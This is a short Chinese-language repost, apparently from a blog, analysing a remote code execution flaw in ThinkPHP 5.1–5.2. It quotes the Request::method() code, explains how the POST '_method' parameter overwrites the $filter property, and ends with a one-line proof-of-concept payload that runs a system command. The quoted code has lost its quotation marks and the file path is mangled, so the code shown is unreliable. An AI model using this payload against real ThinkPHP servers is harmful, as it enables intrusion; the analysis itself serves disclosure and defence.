ThinkPHP5.1 ~ 5.2 最新全版本代碼執行漏洞
最近thinkPHP的漏洞終於都爆出來了,以前大佬們都留著過年呢。
這個是前幾天的漏洞預警 | ThinkPHP5遠程命令執行漏洞
最近挺忙的,分析沒空做了,轉發一篇分析文給大家。
序言
最近爆出了Thinkphp5.0.*全版本代碼執行,其中5.1與5.2全版本在生產環境下下同樣也存在代碼執行
漏洞分析:
文件位置: hinkphplibrary hinkRequest.php
/**
* 當前的請求類型
* @access public
* @param bool $origin 是否獲取原始請求類型
* @return string
*/
public function method($origin = false)
{
if ($origin) {
// 獲取原始請求類型
return $this->server(REQUEST_METHOD) ?: GET;
} elseif (!$this->method) {
if (isset($_POST[$this->config[var_method]])) {
$this->method = strtoupper($_POST[$this->config[var_method]]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
} elseif ($this->server(HTTP_X_HTTP_METHOD_OVERRIDE)) {
$this->method = strtoupper($this->server(HTTP_X_HTTP_METHOD_OVERRIDE));
} else {
$this->method = $this->server(REQUEST_METHOD) ?: GET;
}
}
return $this->method;
}
$this->method = strtoupper($_POST[$this->config[var_method]]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
$method變數是$this->method,其同等於POST的」_method」參數值
然後該處存在一個變數覆蓋
我們可以覆蓋 $filter 屬性值(POC如下)c=exec&f=calc.exe&&_method=filter&